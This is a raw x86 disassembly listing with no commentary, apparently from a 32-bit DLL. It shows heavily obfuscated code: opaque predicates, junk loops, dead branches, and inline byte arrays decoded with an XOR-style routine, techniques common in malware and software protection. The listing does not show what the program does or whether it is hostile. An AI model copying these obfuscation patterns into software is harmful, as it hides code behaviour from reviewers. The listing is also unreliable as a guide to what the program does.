movzx ecx, byte [ebp + ecx - 0x198]
mov byte [ebp + ecx - 0x60c], al
mov dword [ebp - 0x2c], 2
and dword [ebp - 0x11c], 0
jmp 0x1004404d
mov eax, dword [ebp - 0x2c]
inc eax
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x25
jae 0x1004413f
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x198]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x2c], eax
jne 0x10044097
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x198]
inc eax
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x198]
mov ecx, dword [ebp - 0x2c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x2c], eax
jmp 0x10044045
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x197]
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x11c]
movzx ecx, byte [ebp + ecx - 0x19a]
movsx ecx, byte [ebp + ecx - 0x60c]
add eax, ecx
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0x197]
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x11c]
movzx edx, byte [ebp + edx - 0x19a]
movsx edx, byte [ebp + edx - 0x60c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0x197]
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x11c]
movzx edx, byte [ebp + edx - 0x19a]
movsx edx, byte [ebp + edx - 0x60c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0x198]
mov byte [ebp + ecx - 0x60c], al
push 0x6752
push 0x4ad
push 1
lea eax, [ebp - 0x11c]
push eax
call fcn.1004208c
add esp, 0x10
jmp 0x10044045
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x60c], 0
mov dword [ebp - 0xd4], 0xffffffff
mov dword [ebp - 0x880], 0x69f4981f
mov dword [ebp - 0x8e4], 3
mov dword [ebp - 0x70], 0
jmp 0x1004417b
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x10044191
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x77c], 1
jmp 0x10044174
mov dword [ebp - 0x70], 0
jmp 0x100441a1
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x100441b7
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x9f0], 0x9884cb8
jmp 0x1004419a
mov byte [ebp - 0xb6], 0
lea eax, [ebp - 0xb6]
push eax
push 0x7720
push 0
call fcn.100424a3
add esp, 0xc
mov dword [ebp - 0xd4], 2
jmp 0x100441ed
mov eax, dword [ebp - 0xd4]
dec eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jl 0x100444da
mov dword [ebp - 0xec], 1
mov dword [ebp - 0x288], 0x22ba7b7e
mov dword [ebp - 0x280], 0xf985589b
mov dword [ebp - 0x584], 0x7dcda720
mov dword [ebp - 0xec], 2
jmp 0x1004423b
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x100444d5
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x710], 0x3489
mov dword [ebp - 0x1b4], 0
jmp 0x10044275
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 1
jge 0x10044291
mov eax, dword [ebp - 0x1b4]
mov dword [ebp + eax*4 - 0xdc], 0xfbbd0a70
jmp 0x10044268
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [ebp - 0x8ec], eax
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0xdc], 6
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0xdc]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xdc]
jge 0x100442da
mov dword [ebp - 0x39c], 1
jmp 0x100442e1
and dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0x280]
cmp dword [ebp - 0x39c], eax
jne 0x100442fb
mov dword [ebp - 0x4dc], 1
jmp 0x10044302
and dword [ebp - 0x4dc], 0
cmp dword [ebp - 0x4dc], 0xffffffff
jge 0x10044317
mov dword [ebp - 0x3a4], 1
jmp 0x1004431e
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x3a4]
sub eax, dword [ebp - 0x288]
je 0x10044341
mov eax, 0xeae1
test eax, eax
je 0x10044341
mov dword [ebp - 0x57c], 1
jmp 0x10044348
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x57c]
sub eax, dword [ebp - 0x584]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x77c]
je 0x1004436e
mov dword [ebp - 0x3ac], 1
jmp 0x10044375
and dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x280], eax
mov eax, dword [ebp - 0x288]
cmp dword [ebp - 0x280], eax
jne 0x1004439b
mov dword [ebp - 0x4e4], 1
jmp 0x100443a2
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x710]
cmp dword [ebp - 0x4e4], eax
jg 0x100443c2
mov eax, 0x79a97a8d
test eax, eax
jne 0x100443c2
and dword [ebp - 0x3b4], 0
jmp 0x100443cc
mov dword [ebp - 0x3b4], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xdc]
cmp dword [ebp - 0x3b4], eax
jl 0x100443f6
cmp dword [ebp - 0xd4], 0
je 0x100443f6
mov dword [ebp - 0x5d8], 1
jmp 0x100443fd
and dword [ebp - 0x5d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xdc]
cmp dword [ebp - 0x5d8], eax
jge 0x1004442b
mov eax, dword [ebp - 0xec]
cmp dword [ebp + eax*4 - 0x77c], 0
jne 0x1004442b
and dword [ebp - 0x3bc], 0
jmp 0x10044435
mov dword [ebp - 0x3bc], 1
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
mov eax, dword [ebp - 0x2b0]
imul eax, dword [ebp - 0x3bc]
test eax, eax
jne 0x1004445f
mov dword [ebp - 0x4ec], 1
jmp 0x10044466
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp + eax*4 - 0x77c]
cmp eax, dword [ebp - 0x4ec]
jl 0x10044497
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xdc], 0
je 0x10044497
mov dword [ebp - 0x3c4], 1
jmp 0x1004449e
and dword [ebp - 0x3c4], 0
mov eax, dword [ebp - 0x3c4]
sub eax, dword [ebp - 0x584]
cmp eax, 0x26ff23b1
je 0x100444bd
mov dword [ebp - 0x3cc], 1
jmp 0x100444c4
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x288], eax
jmp 0x1004422e
jmp 0x100441e0
lea eax, [ebp - 0x60c]
push eax
lea ecx, [ebp - 0x9b4]
call fcn.100235b7
mov dword [ebp - 0x660], eax
mov eax, dword [ebp - 0x660]
mov dword [ebp - 0x6f8], eax
and dword [ebp - 4], 0
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x6f8]
call fcn.1002e1bc
pop ecx
mov dword [ebp - 0x748], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9b4]
call fcn.1001679c
mov dword [ebp - 0x78], 0xbdba76aa
mov dword [ebp - 0x1f4], 0
jmp 0x10044547
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 2
jge 0x10044563
mov eax, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0x274], 0
jmp 0x1004453a
mov dword [ebp - 0x78], 0
jmp 0x10044573
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jg 0x100446be
mov dword [ebp - 0x2cc], 0xfffffffe
mov dword [ebp - 0x714], 0xfdb7b241
mov eax, dword [ebp - 0x78]
cmp dword [ebp + eax*4 - 0x274], 0
je 0x100445b7
mov eax, dword [ebp - 0x78]
cmp dword [ebp + eax*4 - 0x274], 0
je 0x100445b7
mov dword [ebp - 0x4f4], 1
jmp 0x100445be
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0
je 0x1004465f
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp + eax*4 - 0x274]
mov dword [ebp - 0x8f4], eax
cmp dword [ebp - 0x2cc], 0x4f3f
jl 0x100445ff
mov dword [ebp - 0x668], 1
jmp 0x10044606
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp + eax*4 - 0x274]
mov dword [ebp - 0x8fc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x274]
mov dword [ebp - 0x904], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x90c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x274]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0x274]
jne 0x10044653
xor eax, eax
inc eax
je 0x1004465f
mov dword [ebp - 0x3d4], 1
jmp 0x10044666
and dword [ebp - 0x3d4], 0
cmp dword [ebp - 0x3d4], 0x62d7bc3
jl 0x1004467e
mov dword [ebp - 0x5d4], 1
jmp 0x10044685
and dword [ebp - 0x5d4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x274]
cmp dword [ebp - 0x5d4], eax
jg 0x100446a6
mov dword [ebp - 0x3dc], 1
jmp 0x100446ad
and dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x714], eax
jmp 0x1004456c
and dword [ebp - 0x1bc], 0
jmp 0x100446d4
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0xb
jae 0x100446ed
mov eax, dword [ebp - 0x1bc]
mov byte [ebp + eax - 0x60c], 0
jmp 0x100446c7
mov dword [ebp - 0x84], 0xfffffffc
mov dword [ebp - 0x3e4], 8
mov dword [ebp - 0x138], 0xca4e8652
mov dword [ebp - 0x290], 0x7d1dc6b7
mov dword [ebp - 0x58c], 0x6fec1b16
mov dword [ebp - 0xa0], 0xffffffff
mov dword [ebp - 0x504], 0x65ee6d54
mov dword [ebp - 0x1c0], 0
jmp 0x1004474c
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 3
jge 0x10044768
mov eax, dword [ebp - 0x1c0]
mov dword [ebp + eax*4 - 0x890], 1
jmp 0x1004473f
cmp dword [ebp - 0x84], 0
jne 0x100447e3
cmp dword [ebp - 0x84], 0
jne 0x100447e3
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x84], eax
jle 0x10044794
mov dword [ebp - 0x4fc], 1
jmp 0x1004479b
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x920], eax
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x91c], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x290], 0
mov eax, dword [ebp - 0x3e4]
sub eax, dword [ebp - 0x290]
je 0x100447ec
cmp dword [ebp - 0x138], 0
jne 0x100447f3
cmp dword [ebp - 0x138], 0
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x670], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x670]
mov dword [ebp + eax - 0x890], ecx
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x8e0], eax
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x58c]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0xa0], eax
jle 0x1004484f
mov dword [ebp - 0x3ec], 1
jmp 0x10044856
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 0
je 0x100448a2
mov dword [ebp - 0xa0], 0
jmp 0x10044884
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jge 0x100448a0
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x890], 9
jmp 0x10044877
jmp 0x100448c2
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x100448c2
push 0x31fa
push 1
call fcn.100420df
pop ecx
pop ecx
mov dword [ebp - 0xf8], 0xd16df251
mov dword [ebp - 0x1c8], 0
jmp 0x100448e5
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 3
jge 0x10044901
mov eax, dword [ebp - 0x1c8]
mov dword [ebp + eax*4 - 0x948], 0xa8c6a53d
jmp 0x100448d8
mov dword [ebp - 0xf8], 0
jmp 0x1004491a
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 3
jge 0x10044936
mov eax, dword [ebp - 0xf8]
mov dword [ebp + eax*4 - 0x948], 0xfffffffd
jmp 0x1004490d
lea eax, [ebp - 0xf8]
push eax
push 1
call fcn.10042113
pop ecx
pop ecx
mov byte [ebp - 0x170], 7
mov byte [ebp - 0x16f], 0x54
mov byte [ebp - 0x16e], 2
mov byte [ebp - 0x16d], 1
mov byte [ebp - 0x16c], 6
mov byte [ebp - 0x16b], 0xe
mov byte [ebp - 0x16a], 8
mov byte [ebp - 0x169], 9
mov byte [ebp - 0x168], 0
mov byte [ebp - 0x167], 1
mov byte [ebp - 0x166], 9
mov byte [ebp - 0x165], 1
mov byte [ebp - 0x164], 1
mov byte [ebp - 0x163], 6
mov byte [ebp - 0x162], 3
mov byte [ebp - 0x161], 4
mov byte [ebp - 0x160], 0xf
mov byte [ebp - 0x15f], 9
mov byte [ebp - 0x15e], 0xe0
mov byte [ebp - 0x15d], 0x12
mov byte [ebp - 0x15c], 0xba
mov byte [ebp - 0x15b], 0x19
mov byte [ebp - 0x15a], 0x92
mov byte [ebp - 0x159], 0xcd
mov byte [ebp - 0x158], 0xb1
mov byte [ebp - 0x157], 0xd4
mov byte [ebp - 0x156], 0xa2
mov byte [ebp - 0x155], 0xed
mov byte [ebp - 0x154], 0x13
mov byte [ebp - 0x153], 0xc8
mov byte [ebp - 0x152], 0xcd
mov byte [ebp - 0x151], 0xd0
mov byte [ebp - 0x150], 4
mov byte [ebp - 0x14f], 6
mov byte [ebp - 0x14e], 5
mov byte [ebp - 0x14d], 5
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x170]
or eax, 0x62
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x170]
and ecx, 0x62
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x170]
mov byte [ebp + ecx - 0x618], al
mov dword [ebp - 0x38], 2
and dword [ebp - 0x110], 0
jmp 0x10044a93
mov eax, dword [ebp - 0x38]
inc eax
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x24
jae 0x10044b71
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x170]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x38], eax
jne 0x10044add
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x170]
inc eax
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x170]
mov ecx, dword [ebp - 0x38]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x38], eax
jmp 0x10044a8b
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x16f]
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x110]
movzx ecx, byte [ebp + ecx - 0x172]
movsx ecx, byte [ebp + ecx - 0x618]
add eax, ecx
mov ecx, dword [ebp - 0x38]
movzx ecx, byte [ebp + ecx - 0x16f]
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x110]
movzx edx, byte [ebp + edx - 0x172]
movsx edx, byte [ebp + edx - 0x618]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x38]
movzx ecx, byte [ebp + ecx - 0x16f]
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x110]
movzx edx, byte [ebp + edx - 0x172]
movsx edx, byte [ebp + edx - 0x618]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x38]
movzx ecx, byte [ebp + ecx - 0x170]
mov byte [ebp + ecx - 0x618], al
and dword [ebp - 0x110], 0
jmp 0x10044a8b
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x618], 0
mov dword [ebp - 0x4c], 0xa48bbca6
mov dword [ebp - 0x71c], 0x30b9
mov dword [ebp - 0x700], 0xffffffff
mov dword [ebp - 0x678], 9
mov dword [ebp - 0x724], 0x4c5f6b4a
mov dword [ebp - 0x21c], 0
jmp 0x10044bc7
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 4
jge 0x10044be3
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0xa74], 0x265d
jmp 0x10044bba
mov dword [ebp - 0x4c], 0
jmp 0x10044bf3
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xf
jle 0x10044d56
mov dword [ebp - 0x1cc], 0xffffffff
mov dword [ebp - 0x690], 0x6c93846f
mov dword [ebp - 0x680], 0xffffffff
cmp dword [ebp - 0x1cc], 0
jne 0x10044c91
imul eax, dword [ebp - 0x4c], 0x2a8d
cmp dword [ebp - 0x1cc], eax
jne 0x10044c3f
mov dword [ebp - 0x3f4], 1
jmp 0x10044c46
and dword [ebp - 0x3f4], 0
cmp dword [ebp - 0x3f4], 0x9507
jle 0x10044c5e
mov dword [ebp - 0x5e0], 1
jmp 0x10044c65
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x5e0], eax
jl 0x10044c7c
mov dword [ebp - 0x3fc], 1
jmp 0x10044c83
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x1cc]
cmp eax, dword [ebp - 0x3fc]
jg 0x10044cca
mov eax, 0x7335
test eax, eax
je 0x10044cca
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x10044cc5
push 0x7736
push 0
push 0x24ea
push 0x311e
call fcn.1004278f
add esp, 0x10
jmp 0x10044d51
mov dword [ebp - 0x70c], 0xf2c9a130
mov dword [ebp - 0x50c], 0x58b
mov dword [ebp - 0x688], 0xf9491450
lea eax, [ebp - 0x700]
push eax
lea eax, [ebp - 0x678]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x71c]
push eax
lea eax, [ebp - 0x680]
push eax
lea eax, [ebp - 0x50c]
push eax
push 0x1868
push 1
lea eax, [ebp - 0x70c]
push eax
lea eax, [ebp - 0x688]
push eax
lea eax, [ebp - 0x724]
push eax
lea eax, [ebp - 0x690]
push eax
push 0x14a1
lea eax, [ebp - 0x1cc]
push eax
call fcn.10042184
add esp, 0x38
cmp dword [ebp - 0x50c], 0
je 0x10044d51
jmp 0x10044d56
jmp 0x10044bec
mov dword [ebp - 0x4c], 3
jmp 0x10044d66
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x10044de5
mov dword [ebp - 0x7f0], 0x942fafec
mov dword [ebp - 0x8b8], 0xa458230b
mov dword [ebp - 0x7f8], 1
mov dword [ebp - 0x8f0], 0x62cc684c
mov dword [ebp - 0x72c], 0x3368
mov dword [ebp - 0x1fc], 0
jmp 0x10044db7
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 3
jge 0x10044dd3
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + eax*4 - 0xa2c], 0x82e70d5d
jmp 0x10044daa
lea eax, [ebp - 0x72c]
push eax
call fcn.100423ef
pop ecx
jmp 0x10044d5f
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0xa44]
call fcn.100235b7
mov dword [ebp - 0x698], eax
mov eax, dword [ebp - 0x698]
mov dword [ebp - 0x718], eax
mov dword [ebp - 4], 1
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x718]
call fcn.1002e1bc
pop ecx
mov dword [ebp - 0x6a0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa44]
call fcn.1001679c
and dword [ebp - 0x1d4], 0
jmp 0x10044e4b
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0xb
jae 0x10044e64
mov eax, dword [ebp - 0x1d4]
mov byte [ebp + eax - 0x618], 0
jmp 0x10044e3e
push dword [ebp - 0x6a0]
push dword [ebp - 0x748]
call fcn.1003e696
pop ecx
pop ecx
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x40c], 0
mov dword [ebp - 0x6a8], 0
mov dword [ebp - 0x720], 0
cmp dword [ebp - 0x298], 0xffffffff
jne 0x10044ed3
mov byte [ebp - 0xb3], 0
movzx eax, byte [ebp - 0xb3]
test eax, eax
je 0x10044ece
push 0x30ed
push 1
call fcn.10042408
pop ecx
pop ecx
jmp 0x10044fb5
mov dword [ebp - 0x214], 0
jmp 0x10044eec
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 1
jge 0x10044f08
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0x2b8], 0
jmp 0x10044edf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2b8], 0
jne 0x10044f36
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2b8]
cmp dword [ebp - 0x298], eax
jg 0x10044f36
and dword [ebp - 0x404], 0
jmp 0x10044f40
mov dword [ebp - 0x404], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2b8]
cmp dword [ebp - 0x404], eax
jle 0x10044f61
mov dword [ebp - 0x594], 1
jmp 0x10044f68
and dword [ebp - 0x594], 0
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0x800], eax
cmp dword [ebp - 0x298], 0x7979b389
jle 0x10044f98
mov dword [ebp - 0x514], 1
jmp 0x10044f9f
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x720], 0xfffffffe
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x414]
mov dword [eax + 8], ecx
mov dword [ebp - 0x88], 0x24a8c6a5
mov dword [ebp - 0x88], 0
jmp 0x10044fe7
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x1b
jne 0x10045012
mov byte [ebp - 0x9b], 0
movzx eax, byte [ebp - 0x9b]
test eax, eax
je 0x10045010
push 1
push 0x74aa
call fcn.10042451
pop ecx
pop ecx
jmp 0x10044fda
mov dword [ebp - 0x88], 0xffffffe7
jmp 0x1004502b
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xffffffeb
jg 0x10045056
mov dword [ebp - 0x6b0], 0
push 0x7e8b
lea eax, [ebp - 0x6b0]
push eax
push 1
call fcn.100424a3
add esp, 0xc
jmp 0x1004501e
push 0xf
push 5
call fcn.1003e696
pop ecx
pop ecx
add eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 4], eax
mov dword [ebp - 0x7e8], 0xfffffffe
mov dword [ebp - 0x808], 0xe53d8da8
mov dword [ebp - 0x918], 0xe0b4074d
mov dword [ebp - 0x810], 0xffffffff
mov dword [ebp - 0x8c8], 1
mov dword [ebp - 0x818], 1
mov dword [ebp - 0x8f8], 0xfffffff9
mov dword [ebp - 0x760], 0x7543
mov dword [ebp - 0x1dc], 0
jmp 0x100450d6
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 4
jge 0x100450f2
mov eax, dword [ebp - 0x1dc]
mov dword [ebp + eax*4 - 0xa64], 5
jmp 0x100450c9
push 0x1c2
lea eax, [ebp - 0x760]
push eax
push 0
push 0x6a44
push 0x410e
push 0x7198
push 0x7892
call fcn.1004258c
add esp, 0x1c
and dword [ebp - 0x130], 0
mov dword [ebp - 0x28], 0x2c7c8a6b
mov dword [ebp - 0x7e4], 0x869e
mov dword [ebp - 0x7e0], 0x869e
mov dword [ebp - 0x7dc], 0x869e
mov dword [ebp - 0x7d8], 0x869e
mov dword [ebp - 0x80], 0
jmp 0x10045162
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jge 0x10045178
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x640], 0
jmp 0x1004515b
mov dword [ebp - 0x80], 0
jmp 0x10045188
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 2
jge 0x1004519e
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x708], 0x1dc6b79d
jmp 0x10045181
cmp dword [ebp - 0x28], 0
jne 0x10045237
or eax, 0xffffffff
sub eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x28]
je 0x100451bf
mov dword [ebp - 0x5dc], 1
jmp 0x100451c6
and dword [ebp - 0x5dc], 0
imul eax, dword [ebp - 0x5dc], 0xf996
cmp eax, 2
je 0x100451e1
mov dword [ebp - 0x41c], 1
jmp 0x100451e8
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x41c]
jne 0x100451f9
cmp dword [ebp - 0x28], 0
je 0x1004520e
mov eax, 0x6ae49a2f
test eax, eax
je 0x1004520e
mov dword [ebp - 0x51c], 1
jmp 0x10045215
and dword [ebp - 0x51c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x51c]
mov dword [ebp + eax - 0x708], ecx
cmp dword [ebp - 0x28], 0
jne 0x10045237
and dword [ebp - 0x59c], 0
jmp 0x10045241
mov dword [ebp - 0x59c], 1
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x424], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x424]
mov dword [ebp + eax - 0x640], ecx
mov eax, dword [ebp - 0x424]
add eax, dword [ebp - 0x59c]
je 0x100452a2
mov eax, 0x955a
test eax, eax
je 0x100452a2
mov dword [ebp - 0x28], 0
jmp 0x10045287
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x1004529d
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x708], 0xdf29855e
jmp 0x10045280
jmp 0x1004546d
mov dword [ebp - 0x52c], 0x9ac92d14
mov dword [ebp - 0x204], 0
jmp 0x100452c5
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 2
jge 0x100452e1
mov eax, dword [ebp - 0x204]
mov dword [ebp + eax*4 - 0x2c0], 0xec1b16eb
jmp 0x100452b8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2c0]
mov dword [ebp - 0x820], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2c0]
mov dword [ebp - 0x8d0], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x640]
cmp dword [ebp + eax - 0x2c0], ecx
jle 0x1004532f
mov dword [ebp - 0x42c], 1
jmp 0x10045336
and dword [ebp - 0x42c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2c0]
cmp dword [ebp - 0x42c], eax
jne 0x10045357
mov dword [ebp - 0x524], 1
jmp 0x1004535e
and dword [ebp - 0x524], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c0]
cmp dword [ebp - 0x524], eax
je 0x1004537f
mov dword [ebp - 0x434], 1
jmp 0x10045386
and dword [ebp - 0x434], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x640]
cmp eax, dword [ebp - 0x434]
je 0x100453a7
mov dword [ebp - 0x5e8], 1
jmp 0x100453ae
and dword [ebp - 0x5e8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x5e8]
